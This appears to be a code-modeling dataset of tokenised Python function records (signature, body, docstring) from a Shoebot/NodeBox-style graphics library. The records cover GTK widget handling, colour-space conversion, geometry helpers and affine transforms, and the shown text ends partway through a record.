{"signature": "def do_toggle_play(self, action):", "body": "<EOL>if self.pause_speed is None and not action.get_active():<EOL><INDENT>self.pause_speed = self.bot._speed<EOL>self.bot._speed = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>self.bot._speed = self.pause_speed<EOL>self.pause_speed = None<EOL><DEDENT>", "docstring": "Widget Action to toggle play / pause.", "id": "f11530:c0:m18"}
{"signature": "def do_toggle_variables(self, action):", "body": "self.show_vars = action.get_active()<EOL>if self.show_vars:<EOL><INDENT>self.show_variables_window()<EOL><DEDENT>else:<EOL><INDENT>self.hide_variables_window()<EOL><DEDENT>", "docstring": "Widget Action to toggle showing the variables window.", "id": "f11530:c0:m19"}
{"signature": "def main_iteration(self):", "body": "if self.show_vars:<EOL><INDENT>self.show_variables_window()<EOL><DEDENT>else:<EOL><INDENT>self.hide_variables_window()<EOL><DEDENT>for snapshot_f in self.scheduled_snapshots:<EOL><INDENT>fn = snapshot_f(self.last_draw_ctx)<EOL>print(\"<STR_LIT>\" % fn)<EOL><DEDENT>else:<EOL><INDENT>self.scheduled_snapshots = deque()<EOL><DEDENT>while Gtk.events_pending():<EOL><INDENT>Gtk.main_iteration()<EOL><DEDENT>", "docstring": "Called from main loop, if your sink needs to handle GUI events\ndo it here.\n\nCheck any GUI flags then call Gtk.main_iteration to update things.", "id": "f11530:c0:m20"}
{"signature": "def add_variables(self):", "body": "for k, v in self.bot._vars.items():<EOL><INDENT>if not hasattr(v, '<STR_LIT:type>'):<EOL><INDENT>raise AttributeError(<EOL>'<STR_LIT>' % k)<EOL><DEDENT>self.add_variable(v)<EOL><DEDENT>", "docstring": "Add all widgets to specified vbox\n:param container:\n:return:", "id": "f11532:c0:m1"}
{"signature": "def update_var(self, name, value):", "body": "widget = self.widgets.get(name)<EOL>if widget is None:<EOL><INDENT>return False, '<STR_LIT>'.format(name)<EOL><DEDENT>try:<EOL><INDENT>if isinstance(widget, Gtk.CheckButton):<EOL><INDENT>widget.set_active(value)<EOL>return True, widget.get_active()<EOL><DEDENT>elif isinstance(widget, Gtk.Entry):<EOL><INDENT>widget.set_text(value)<EOL>return True, widget.get_text()<EOL><DEDENT>else:<EOL><INDENT>widget.set_value(value)<EOL>return True, widget.get_value()<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>return False, str(e)<EOL><DEDENT>", "docstring": ":return: success, err_msg_if_failed", "id": "f11532:c0:m9"}
{"signature": "def widget_changed(self, widget, v):", "body": "<EOL>if v.type is NUMBER:<EOL><INDENT>self.bot._namespace[v.name] = widget.get_value()<EOL>self.bot._vars[v.name].value = widget.get_value()  <EOL>publish_event(VARIABLE_UPDATED_EVENT, v)  <EOL><DEDENT>elif v.type is BOOLEAN:<EOL><INDENT>self.bot._namespace[v.name] = widget.get_active()<EOL>self.bot._vars[v.name].value = widget.get_active()  <EOL>publish_event(VARIABLE_UPDATED_EVENT, v)  <EOL><DEDENT>elif v.type is TEXT:<EOL><INDENT>self.bot._namespace[v.name] = widget.get_text()<EOL>self.bot._vars[v.name].value = widget.get_text()  <EOL>publish_event(VARIABLE_UPDATED_EVENT, v)<EOL><DEDENT>", "docstring": "Called when a slider is adjusted.", "id": "f11532:c0:m10"}
{"signature": "def var_added(self, v):", "body": "self.add_variable(v)<EOL>self.window.set_size_request(<NUM_LIT>, <NUM_LIT> * len(self.widgets.keys()))<EOL>self.window.show_all()<EOL>", "docstring": "var was added in the bot while it ran, possibly\nby livecoding\n\n:param v:\n:return:", "id": "f11532:c0:m11"}
{"signature": "def var_deleted(self, v):", "body": "widget = self.widgets[v.name]<EOL>parent = widget.get_parent()<EOL>self.container.remove(parent)<EOL>del self.widgets[v.name]<EOL>self.window.set_size_request(<NUM_LIT>, <NUM_LIT> * len(self.widgets.keys()))<EOL>self.window.show_all()<EOL>", "docstring": "var was added in the bot\n\n:param v:\n:return:", "id": "f11532:c0:m12"}
{"signature": "def save_as(self):", "body": "chooser = ShoebotFileChooserDialog(_('<STR_LIT>'), None, Gtk.FileChooserAction.SAVE,<EOL>(Gtk.STOCK_SAVE, Gtk.ResponseType.ACCEPT,<EOL>Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL))<EOL>chooser.set_do_overwrite_confirmation(True)<EOL>chooser.set_transient_for(self)<EOL>saved = chooser.run() == Gtk.ResponseType.ACCEPT<EOL>if saved:<EOL><INDENT>old_filename = self.filename<EOL>self.source_buffer.filename = chooser.get_filename()<EOL>if not self.save():<EOL><INDENT>self.filename = old_filename<EOL><DEDENT><DEDENT>chooser.destroy()<EOL>return saved<EOL>", "docstring": "Return True if the buffer was saved", "id": "f11533:c4:m29"}
{"signature": "def pangocairo_create_context(cr):", "body": "<EOL>try:<EOL><INDENT>return PangoCairo.create_context(cr)<EOL><DEDENT>except KeyError as e:<EOL><INDENT>if e.args == ('<STR_LIT>',):<EOL><INDENT>raise ShoebotInstallError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "If python-gi-cairo is not installed, using PangoCairo.create_context\ndies with an unhelpful KeyError, check for that and output somethig\nuseful.", "id": "f11534:m0"}
{"signature": "def _get_center(self):", "body": "w, h = self.layout.get_pixel_size()<EOL>x = (self.x + w / <NUM_LIT:2>)<EOL>y = (self.y + h / <NUM_LIT:2>)<EOL>return x, y<EOL>", "docstring": "Returns the center point of the path, disregarding transforms.", "id": "f11534:c0:m7"}
{"signature": "def _set_mode(self, mode):", "body": "if mode == CENTER:<EOL><INDENT>self._call_transform_mode = self._center_transform<EOL><DEDENT>elif mode == CORNER:<EOL><INDENT>self._call_transform_mode = self._corner_transform<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets call_transform_mode to point to the\ncenter_transform or corner_transform", "id": "f11535:c0:m1"}
{"signature": "def _get_pathmode(self):", "body": "if self._pathmode is not None:<EOL><INDENT>return self._pathmode<EOL><DEDENT>else:<EOL><INDENT>return self._canvas.pathmode<EOL><DEDENT>", "docstring": "Return pathmode or get it from self._canvas", "id": "f11535:c0:m2"}
{"signature": "def _get_center(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Implementations must return the x, y of their center", "id": "f11535:c0:m3"}
{"signature": "def _call_transform_mode(self):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "This should never get called:\nset mode, changes the value of this to point\n\ncorner_transform or center_transform", "id": "f11535:c0:m4"}
{"signature": "def _center_transform(self, transform):", "body": "dx, dy = self._get_center()<EOL>t = cairo.Matrix()<EOL>t.translate(dx, dy)<EOL>t = transform * t<EOL>t.translate(-dx, -dy)<EOL>return t<EOL>", "docstring": "Works like setupTransform of a version of java nodebox\nhttp://dev.nodebox.net/browser/nodebox-java/branches/rewrite/src/java/net/nodebox/graphics/Grob.java", "id": "f11535:c0:m5"}
{"signature": "def _corner_transform(self, transform):", "body": "return transform<EOL>", "docstring": "CORNER is the default, so we just return the transform", "id": "f11535:c0:m6"}
{"signature": "def _deferred_render(self, render_func=None):", "body": "self._canvas.deferred_render(render_func or self._render)<EOL>", "docstring": "Pass a function to the canvas for deferred rendering,\ndefaults to self._render", "id": "f11535:c0:m7"}
{"signature": "def _render(self, ctx):", "body": "raise NotImplementedError()<EOL>", "docstring": "For overriding by GRaphicOBjects", "id": "f11535:c0:m8"}
{"signature": "def inheritFromContext(self, ignore=()):", "body": "for canvas_attr, grob_attr in STATES.items():<EOL><INDENT>if canvas_attr in ignore:<EOL><INDENT>continue<EOL><DEDENT>setattr(self, grob_attr, getattr(self._bot._canvas, canvas_attr))<EOL><DEDENT>", "docstring": "Doesn't store exactly the same items as Nodebox for ease of implementation,\nit has enough to get the Nodebox Dentrite example working.", "id": "f11535:c0:m9"}
{"signature": "def parse_color(v, color_range=<NUM_LIT:1>):", "body": "<EOL>while isinstance(v, (tuple, list)) and len(v) == <NUM_LIT:1>:<EOL><INDENT>v = v[<NUM_LIT:0>]<EOL><DEDENT>if isinstance(v, (int, float)):<EOL><INDENT>red = green = blue = v / color_range<EOL>alpha = <NUM_LIT:1.><EOL><DEDENT>elif isinstance(v, data.Color):<EOL><INDENT>red, green, blue, alpha = v<EOL><DEDENT>elif isinstance(v, (tuple, list)):<EOL><INDENT>color = []<EOL>for index in range(<NUM_LIT:0>, len(v)):<EOL><INDENT>color.append(v[index] / color_range)<EOL><DEDENT>if len(color) == <NUM_LIT:1>:<EOL><INDENT>red = green = blue = alpha = color[<NUM_LIT:0>]<EOL><DEDENT>elif len(color) == <NUM_LIT:2>:<EOL><INDENT>red = green = blue = color[<NUM_LIT:0>]<EOL>alpha = color[<NUM_LIT:1>]<EOL><DEDENT>elif len(color) == <NUM_LIT:3>:<EOL><INDENT>red = color[<NUM_LIT:0>]<EOL>green = color[<NUM_LIT:1>]<EOL>blue = color[<NUM_LIT:2>]<EOL>alpha = <NUM_LIT:1.><EOL><DEDENT>elif len(color) == <NUM_LIT:4>:<EOL><INDENT>red = color[<NUM_LIT:0>]<EOL>green = color[<NUM_LIT:1>]<EOL>blue = color[<NUM_LIT:2>]<EOL>alpha = color[<NUM_LIT:3>]<EOL><DEDENT><DEDENT>elif isinstance(v, str):<EOL><INDENT>v = v.strip('<STR_LIT:#>')<EOL>if len(data) == <NUM_LIT:6>:<EOL><INDENT>red = hex2dec(v[<NUM_LIT:0>:<NUM_LIT:2>]) / <NUM_LIT><EOL>green = hex2dec(v[<NUM_LIT:2>:<NUM_LIT:4>]) / <NUM_LIT><EOL>blue = hex2dec(v[<NUM_LIT:4>:<NUM_LIT:6>]) / <NUM_LIT><EOL>alpha = <NUM_LIT:1.><EOL><DEDENT>elif len(v) == <NUM_LIT:8>:<EOL><INDENT>red = hex2dec(v[<NUM_LIT:0>:<NUM_LIT:2>]) / <NUM_LIT><EOL>green = hex2dec(v[<NUM_LIT:2>:<NUM_LIT:4>]) / <NUM_LIT><EOL>blue = hex2dec(v[<NUM_LIT:4>:<NUM_LIT:6>]) / <NUM_LIT><EOL>alpha = hex2dec(v[<NUM_LIT:6>:<NUM_LIT:8>]) / <NUM_LIT><EOL><DEDENT><DEDENT>return red, green, blue, alpha<EOL>", "docstring": "Receives a colour definition and returns a (r,g,b,a) tuple.\n\n    Accepts:\n    - v\n    - (v)\n    - (v,a)\n    - (r,g,b)\n    - (r,g,b,a)\n    - #RRGGBB\n    - RRGGBB\n    - #RRGGBBAA\n    - RRGGBBAA\n\n    Returns a (red, green, blue, alpha) tuple, with values ranging from\n    0 to 1.\n\n    The 'color_range' parameter sets the colour range in which the\n    colour data values are specified (except in hexstrings).", "id": "f11536:m2"}
{"signature": "def hex_to_rgb(hex):", "body": "hex = hex.lstrip(\"<STR_LIT:#>\")<EOL>if len(hex) < <NUM_LIT:6>:<EOL><INDENT>hex += hex[-<NUM_LIT:1>] * (<NUM_LIT:6> - len(hex))<EOL><DEDENT>if len(hex) == <NUM_LIT:6>:<EOL><INDENT>r, g, b = hex[<NUM_LIT:0>:<NUM_LIT:2>], hex[<NUM_LIT:2>:<NUM_LIT:4>], hex[<NUM_LIT:4>:]<EOL>r, g, b = [int(n, <NUM_LIT:16>) / <NUM_LIT> for n in (r, g, b)]<EOL>a = <NUM_LIT:1.0><EOL><DEDENT>elif len(hex) == <NUM_LIT:8>:<EOL><INDENT>r, g, b, a = hex[<NUM_LIT:0>:<NUM_LIT:2>], hex[<NUM_LIT:2>:<NUM_LIT:4>], hex[<NUM_LIT:4>:<NUM_LIT:6>], hex[<NUM_LIT:6>:]<EOL>r, g, b, a = [int(n, <NUM_LIT:16>) / <NUM_LIT> for n in (r, g, b, a)]<EOL><DEDENT>return r, g, b, a<EOL>", "docstring": "Returns RGB values for a hex color string.", "id": "f11536:m3"}
{"signature": "def lab_to_rgb(l, a, b):", "body": "y = (l + <NUM_LIT:16>) / <NUM_LIT><EOL>x = a / <NUM_LIT> + y<EOL>z = y - b / <NUM_LIT><EOL>v = [x, y, z]<EOL>for i in _range(<NUM_LIT:3>):<EOL><INDENT>if pow(v[i], <NUM_LIT:3>) > <NUM_LIT>:<EOL><INDENT>v[i] = pow(v[i], <NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>v[i] = (v[i] - <NUM_LIT:16> / <NUM_LIT>) / <NUM_LIT><EOL><DEDENT><DEDENT>x = v[<NUM_LIT:0>] * <NUM_LIT> / <NUM_LIT:100><EOL>y = v[<NUM_LIT:1>] * <NUM_LIT> / <NUM_LIT:100><EOL>z = v[<NUM_LIT:2>] * <NUM_LIT> / <NUM_LIT:100><EOL>r = x * <NUM_LIT> + y * -<NUM_LIT> + z * -<NUM_LIT><EOL>g = x * -<NUM_LIT> + y * <NUM_LIT> + z * <NUM_LIT><EOL>b = x * <NUM_LIT> + y * -<NUM_LIT> + z * <NUM_LIT><EOL>v = [r, g, b]<EOL>for i in _range(<NUM_LIT:3>):<EOL><INDENT>if v[i] > <NUM_LIT>:<EOL><INDENT>v[i] = <NUM_LIT> * pow(v[i], <NUM_LIT:1> / <NUM_LIT>) - <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>v[i] = <NUM_LIT> * v[i]<EOL><DEDENT><DEDENT>r, g, b = v[<NUM_LIT:0>], v[<NUM_LIT:1>], v[<NUM_LIT:2>]<EOL>return r, g, b<EOL>", "docstring": "Converts CIE Lab to RGB components.\n\n    First we have to convert to XYZ color space.\n    Conversion involves using a white point,\n    in this case D65 which represents daylight illumination.\n\n    Algorithm adopted from:\n    http://www.easyrgb.com/math.php", "id": "f11536:m4"}
{"signature": "def cmyk_to_rgb(c, m, y, k):", "body": "r = <NUM_LIT:1.0> - min(<NUM_LIT:1.0>, c + k)<EOL>g = <NUM_LIT:1.0> - min(<NUM_LIT:1.0>, m + k)<EOL>b = <NUM_LIT:1.0> - min(<NUM_LIT:1.0>, y + k)<EOL>return r, g, b<EOL>", "docstring": "Cyan, magenta, yellow, black to red, green, blue.\n    ReportLab, http://www.koders.com/python/fid5C006F554616848C01AC7CB96C21426B69D2E5A9.aspx\n    Results will differ from the way NSColor converts color spaces.", "id": "f11536:m5"}
{"signature": "def hsv_to_rgb(h, s, v):", "body": "if s == <NUM_LIT:0>: return v, v, v<EOL>h = h / (<NUM_LIT> / <NUM_LIT>)<EOL>i = floor(h)<EOL>f = h - i<EOL>p = v * (<NUM_LIT:1> - s)<EOL>q = v * (<NUM_LIT:1> - s * f)<EOL>t = v * (<NUM_LIT:1> - s * (<NUM_LIT:1> - f))<EOL>if i == <NUM_LIT:0>:<EOL><INDENT>r, g, b = v, t, p<EOL><DEDENT>elif i == <NUM_LIT:1>:<EOL><INDENT>r, g, b = q, v, p<EOL><DEDENT>elif i == <NUM_LIT:2>:<EOL><INDENT>r, g, b = p, v, t<EOL><DEDENT>elif i == <NUM_LIT:3>:<EOL><INDENT>r, g, b = p, q, v<EOL><DEDENT>elif i == <NUM_LIT:4>:<EOL><INDENT>r, g, b = t, p, v<EOL><DEDENT>else:<EOL><INDENT>r, g, b = v, p, q<EOL><DEDENT>return r, g, b<EOL>", "docstring": "Hue, saturation, brightness to red, green, blue.\n    http://www.koders.com/python/fidB2FE963F658FE74D9BF74EB93EFD44DCAE45E10E.aspx\n    Results will differ from the way NSColor converts color spaces.", "id": "f11536:m7"}
{"signature": "def __getattr__(self, a):", "body": "if a in self.__dict__:<EOL><INDENT>return a<EOL><DEDENT>elif a == \"<STR_LIT>\":<EOL><INDENT>return self.__dict__[\"<STR_LIT>\"]<EOL><DEDENT>elif a == \"<STR_LIT>\":<EOL><INDENT>return self.__dict__[\"<STR_LIT>\"]<EOL><DEDENT>elif a in [\"<STR_LIT:a>\", \"<STR_LIT>\",<EOL>\"<STR_LIT:r>\", \"<STR_LIT:g>\", \"<STR_LIT:b>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT:h>\", \"<STR_LIT:s>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT:c>\", \"<STR_LIT:m>\", \"<STR_LIT:y>\", \"<STR_LIT:k>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>return self.__dict__[\"<STR_LIT>\" + a[<NUM_LIT:0>]]<EOL><DEDENT>elif a in [\"<STR_LIT:a>\", \"<STR_LIT>\",<EOL>\"<STR_LIT:r>\", \"<STR_LIT:g>\", \"<STR_LIT:b>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT:h>\", \"<STR_LIT:s>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>return self.__dict__[\"<STR_LIT>\" + a[<NUM_LIT:0>]]<EOL><DEDENT>raise AttributeError(\"<STR_LIT:'>\" + str(self.__class__) + \"<STR_LIT>\" + a + \"<STR_LIT:'>\")<EOL>", "docstring": "Available properties:\n        r, g, b, a or red, green, blue, alpha\n        c, m, y, k or cyan, magenta, yellow, black,\n        h, s or hue, saturation, brightness", "id": "f11536:c0:m16"}
{"signature": "def angle(x0, y0, x1, y1):", "body": "return degrees(atan2(y1-y0, x1-x0))<EOL>", "docstring": "Returns the angle between two points.", "id": "f11538:m0"}
{"signature": "def distance(x0, y0, x1, y1):", "body": "return sqrt(pow(x1-x0, <NUM_LIT:2>) + pow(y1-y0, <NUM_LIT:2>))<EOL>", "docstring": "Returns the distance between two points.", "id": "f11538:m1"}
{"signature": "def coordinates(x0, y0, distance, angle):", "body": "return (x0 + cos(radians(angle)) * distance,<EOL>y0 + sin(radians(angle)) * distance)<EOL>", "docstring": "Returns the location of a point by rotating around origin (x0,y0).", "id": "f11538:m2"}
{"signature": "def rotate(x, y, x0, y0, angle):", "body": "x, y = x - x0, y - y0<EOL>a, b = cos(radians(angle)), sin(radians(angle))<EOL>return (x * a - y * b + x0,<EOL>y * a + x * b + y0)<EOL>", "docstring": "Returns the coordinates of (x,y) rotated around origin (x0,y0).", "id": "f11538:m3"}
{"signature": "def reflect(x, y, x0, y0, d=<NUM_LIT:1.0>, a=<NUM_LIT>):", "body": "return coordinates(x0, y0, d * distance(x0, y0, x, y),<EOL>a + angle(x0, y0, x, y))<EOL>", "docstring": "Returns the reflection of a point through origin (x0,y0).", "id": "f11538:m4"}
{"signature": "def lerp(a, b, t):", "body": "if t < <NUM_LIT:0.0>:<EOL><INDENT>return a<EOL><DEDENT>if t > <NUM_LIT:1.0>:<EOL><INDENT>return b<EOL><DEDENT>return a + (b - a) * t<EOL>", "docstring": "Returns the linear interpolation between a and b for time t between 0.0-1.0.\n        For example: lerp(100, 200, 0.5) => 150.", "id": "f11538:m5"}
{"signature": "def smoothstep(a, b, x):", "body": "if x < a:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>if x >= b:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>x = float(x - a) / (b - a)<EOL>return x * x * (<NUM_LIT:3> - <NUM_LIT:2> * x)<EOL>", "docstring": "Returns a smooth transition between 0.0 and 1.0 using Hermite interpolation (cubic spline),\n        where x is a number between a and b. The return value will ease (slow down) as x nears a or b.\n        For x smaller than a, returns 0.0. For x bigger than b, returns 1.0.", "id": "f11538:m6"}
{"signature": "def line_line_intersection(x1, y1, x2, y2, x3, y3, x4, y4, infinite=False):", "body": "<EOL>ua = (x4 - x3) * (y1 - y3) - (y4 - y3) * (x1 - x3)<EOL>ub = (x2 - x1) * (y1 - y3) - (y2 - y1) * (x1 - x3)<EOL>d = (y4 - y3) * (x2 - x1) - (x4 - x3) * (y2 - y1)<EOL>if d == <NUM_LIT:0>:<EOL><INDENT>if ua == ub == <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>else:<EOL><INDENT>return []<EOL><DEDENT><DEDENT>ua /= float(d)<EOL>ub /= float(d)<EOL>if not infinite and not (<NUM_LIT:0> <= ua <= <NUM_LIT:1> and <NUM_LIT:0> <= ub <= <NUM_LIT:1>):<EOL><INDENT>return None, None<EOL><DEDENT>return [(x1 + ua * (x2 - x1),<EOL>y1 + ua * (y2 - y1))]<EOL>", "docstring": "Determines the intersection point of two lines, or two finite line segments if infinite=False.\n        When the lines do not intersect, returns an empty list.", "id": "f11538:m8"}
{"signature": "def circle_line_intersection(cx, cy, radius, x1, y1, x2, y2, infinite=False):", "body": "<EOL>dx = x2 - x1<EOL>dy = y2 - y1<EOL>A = dx * dx + dy * dy<EOL>B = <NUM_LIT:2> * (dx * (x1 - cx) + dy * (y1 - cy))<EOL>C = pow(x1 - cx, <NUM_LIT:2>) + pow(y1 - cy, <NUM_LIT:2>) - radius * radius<EOL>det = B * B - <NUM_LIT:4> * A * C<EOL>if A <= <NUM_LIT> or det < <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>elif det == <NUM_LIT:0>:<EOL><INDENT>t = -B / (<NUM_LIT:2> * A)<EOL>return [(x1 + t * dx, y1 + t * dy)]<EOL><DEDENT>else:<EOL><INDENT>points = []<EOL>det2 = sqrt(det)<EOL>t1 = (-B + det2) / (<NUM_LIT:2> * A)<EOL>t2 = (-B - det2) / (<NUM_LIT:2> * A)<EOL>if infinite or <NUM_LIT:0> <= t1 <= <NUM_LIT:1>:<EOL><INDENT>points.append((x1 + t1 * dx, y1 + t1 * dy))<EOL><DEDENT>if infinite or <NUM_LIT:0> <= t2 <= <NUM_LIT:1>:<EOL><INDENT>points.append((x1 + t2 * dx, y1 + t2 * dy))<EOL><DEDENT>return points<EOL><DEDENT>", "docstring": "Returns a list of points where the circle and the line intersect.\n            Returns an empty list when the circle and the line do not intersect.", "id": "f11538:m9"}
{"signature": "def point_in_polygon(points, x, y):", "body": "odd = False<EOL>n = len(points)<EOL>for i in range(n):<EOL><INDENT>j = i < n - <NUM_LIT:1> and i + <NUM_LIT:1> or <NUM_LIT:0><EOL>x0, y0 = points[i][<NUM_LIT:0>], points[i][<NUM_LIT:1>]<EOL>x1, y1 = points[j][<NUM_LIT:0>], points[j][<NUM_LIT:1>]<EOL>if (y0 < y and y1 >= y) or (y1 < y and y0 >= y):<EOL><INDENT>if x0 + (y - y0) / (y1 - y0) * (x1 - x0) < x:<EOL><INDENT>odd = not odd<EOL><DEDENT><DEDENT><DEDENT>return odd<EOL>", "docstring": "Ray casting algorithm.\n        Determines how many times a horizontal ray starting from the point\n        intersects with the sides of the polygon.\n        If it is an even number of times, the point is outside, if odd, inside.\n        The algorithm does not always report correctly when the point is very close to the boundary.\n        The polygon is passed as a list of (x,y)-tuples.", "id": "f11538:m11"}
{"signature": "def __init__(self, transform=None):", "body": "if isinstance(transform, AffineTransform):<EOL><INDENT>self.matrix = list(transform.matrix)<EOL><DEDENT>else:<EOL><INDENT>self.matrix = self.identity<EOL><DEDENT>", "docstring": "A geometric transformation in Euclidean space (i.e. 2D)\n            that preserves collinearity and ratio of distance between points.\n            Linear transformations include rotation, translation, scaling, shear.", "id": "f11538:c0:m0"}
{"signature": "def _mmult(self, a, b):", "body": "<EOL>return [<EOL>a[<NUM_LIT:0>] * b[<NUM_LIT:0>] + a[<NUM_LIT:1>] * b[<NUM_LIT:3>],<EOL>a[<NUM_LIT:0>] * b[<NUM_LIT:1>] + a[<NUM_LIT:1>] * b[<NUM_LIT:4>],<EOL><NUM_LIT:0>,<EOL>a[<NUM_LIT:3>] * b[<NUM_LIT:0>] + a[<NUM_LIT:4>] * b[<NUM_LIT:3>],<EOL>a[<NUM_LIT:3>] * b[<NUM_LIT:1>] + a[<NUM_LIT:4>] * b[<NUM_LIT:4>],<EOL><NUM_LIT:0>,<EOL>a[<NUM_LIT:6>] * b[<NUM_LIT:0>] + a[<NUM_LIT:7>] * b[<NUM_LIT:3>] + b[<NUM_LIT:6>],<EOL>a[<NUM_LIT:6>] * b[<NUM_LIT:1>] + a[<NUM_LIT:7>] * b[<NUM_LIT:4>] + b[<NUM_LIT:7>],<EOL><NUM_LIT:1><EOL>]<EOL>", "docstring": "Returns the 3x3 matrix multiplication of A and B.\n            Note that scale(), translate(), rotate() work with premultiplication,\n            e.g. the matrix A followed by B = BA and not AB.", "id": "f11538:c0:m4"}
{"signature": "def invert(self):", "body": "m = self.matrix<EOL>d = m[<NUM_LIT:0>] * m[<NUM_LIT:4>] - m[<NUM_LIT:1>] * m[<NUM_LIT:3>]<EOL>self.matrix = [<EOL>m[<NUM_LIT:4>] / d, -m[<NUM_LIT:1>] / d, <NUM_LIT:0>,<EOL>-m[<NUM_LIT:3>] / d,  m[<NUM_LIT:0>] / d, <NUM_LIT:0>,<EOL>(m[<NUM_LIT:3>] * m[<NUM_LIT:7>] - m[<NUM_LIT:4>] * m[<NUM_LIT:6>]) / d,<EOL>-(m[<NUM_LIT:0>] * m[<NUM_LIT:7>] - m[<NUM_LIT:1>] * m[<NUM_LIT:6>]) / d,<EOL><NUM_LIT:1><EOL>]<EOL>", "docstring": "Multiplying a matrix by its inverse produces the identity matrix.", "id": "f11538:c0:m5"}
{"signature": "def transform_point(self, x, y):", "body": "m = self.matrix<EOL>return (x*m[<NUM_LIT:0>]+y*m[<NUM_LIT:3>]+m[<NUM_LIT:6>], x*m[<NUM_LIT:1>]+y*m[<NUM_LIT:4>]+m[<NUM_LIT:7>])<EOL>", "docstring": "Returns the new coordinates of (x,y) after transformation.", "id": "f11538:c0:m11"}
{"signature": "def transform_path(self, path):", "body": "p = path.__class__() <EOL>for pt in path:<EOL><INDENT>if pt.cmd == \"<STR_LIT>\":<EOL><INDENT>p.closepath()<EOL><DEDENT>elif pt.cmd == \"<STR_LIT>\":<EOL><INDENT>p.moveto(*self.apply(pt.x, pt.y))<EOL><DEDENT>elif pt.cmd == \"<STR_LIT>\":<EOL><INDENT>p.lineto(*self.apply(pt.x, pt.y))<EOL><DEDENT>elif pt.cmd == \"<STR_LIT>\":<EOL><INDENT>vx1, vy1 = self.apply(pt.ctrl1.x, pt.ctrl1.y)<EOL>vx2, vy2 = self.apply(pt.ctrl2.x, pt.ctrl2.y)<EOL>x, y = self.apply(pt.x, pt.y)<EOL>p.curveto(vx1, vy1, vx2, vy2, x, y)<EOL><DEDENT><DEDENT>return p<EOL>", "docstring": "Returns a BezierPath object with the transformation applied.", "id": "f11538:c0:m12"}
{"signature": "def __init__(self, x, y, width, height):", "body": "<EOL>if width == None: width = INFINITE<EOL>if height == None: height = INFINITE<EOL>if width < <NUM_LIT:0>: x, width = x+width,  -width<EOL>if height < <NUM_LIT:0>: y, height = y+height, -height<EOL>self.x = x<EOL>self.y = y<EOL>self.width = width<EOL>self.height = height<EOL>", "docstring": "Creates a bounding box.\n            The bounding box is an untransformed rectangle that encompasses a shape or group of shapes.", "id": "f11538:c2:m0"}
{"signature": "def __iter__(self):", "body": "return (self.x, self.y, self.width, self.height).__iter__()<EOL>", "docstring": "You can conveniently unpack bounds: x,y,w,h = Bounds(0,0,100,100)", "id": "f11538:c2:m2"}
{"signature": "def intersects(self, b):", "body": "return max(self.x, b.x) < min(self.x+self.width, b.x+b.width)and max(self.y, b.y) < min(self.y+self.height, b.y+b.height)<EOL>", "docstring": "Return True if a part of the two bounds overlaps.", "id": "f11538:c2:m3"}
{"signature": "def intersection(self, b):", "body": "if not self.intersects(b):<EOL><INDENT>return None<EOL><DEDENT>mx, my = max(self.x, b.x), max(self.y, b.y)<EOL>return Bounds(mx, my,<EOL>min(self.x+self.width, b.x+b.width) - mx,<EOL>min(self.y+self.height, b.y+b.height) - my)<EOL>", "docstring": "Returns bounds that encompass the intersection of the two.\n            If there is no overlap between the two, None is returned.", "id": "f11538:c2:m4"}
{"signature": "def union(self, b):", "body": "mx, my = min(self.x, b.x), min(self.y, b.y)<EOL>return Bounds(mx, my,<EOL>max(self.x+self.width, b.x+b.width) - mx,<EOL>max(self.y+self.height, b.y+b.height) - my)<EOL>", "docstring": "Returns bounds that encompass the union of the two.", "id": "f11538:c2:m5"}
{"signature": "def contains(self, *a):", "body": "if len(a) == <NUM_LIT:2>: a = [Point(a[<NUM_LIT:0>], a[<NUM_LIT:1>])]<EOL>if len(a) == <NUM_LIT:1>:<EOL><INDENT>a = a[<NUM_LIT:0>]<EOL>if isinstance(a, Point):<EOL><INDENT>return a.x >= self.x and a.x <= self.x+self.widthand a.y >= self.y and a.y <= self.y+self.height<EOL><DEDENT>if isinstance(a, Bounds):<EOL><INDENT>return a.x >= self.x and a.x+a.width <= self.x+self.widthand a.y >= self.y and a.y+a.height <= self.y+self.height<EOL><DEDENT><DEDENT>", "docstring": "Returns True if the given point or rectangle falls within the bounds.", "id": "f11538:c2:m6"}
{"signature": "def get_matrix(self):", "body": "return self.get_matrix_with_center(<NUM_LIT:0>,<NUM_LIT:0>)<EOL>", "docstring": "Returns this transform's matrix. Its centerpoint is presumed to be\n        (0,0), which is the Cairo default.", "id": "f11539:c0:m12"}
{"signature": "def __init__(self, name, type, **kwargs):", "body": "self.name = name<EOL>if not isinstance(name, basestring):<EOL><INDENT>raise AttributeError(\"<STR_LIT>\")<EOL><DEDENT>if kwargs.get(\"<STR_LIT>\") and kwargs.get(\"<STR_LIT>\"):<EOL><INDENT>raise AttributeError(\"<STR_LIT>\")  <EOL><DEDENT>self.type = type or NUMBER<EOL>self.min = None<EOL>self.max = None<EOL>self.step = None or kwargs.get(\"<STR_LIT>\")<EOL>self.steps = kwargs.get(\"<STR_LIT>\", DEFAULT_STEPS)<EOL>if self.type == NUMBER:<EOL><INDENT>self.min = kwargs.get(\"<STR_LIT>\", <NUM_LIT:0.0>)<EOL>self.max = kwargs.get(\"<STR_LIT>\", <NUM_LIT>)<EOL>if self.step is None:<EOL><INDENT>diff = max(self.min, self.max) - min(self.min, self.max)<EOL>self.step = (diff / float(self.steps))<EOL><DEDENT>self.default = kwargs.get(\"<STR_LIT:default>\")<EOL>if self.default is 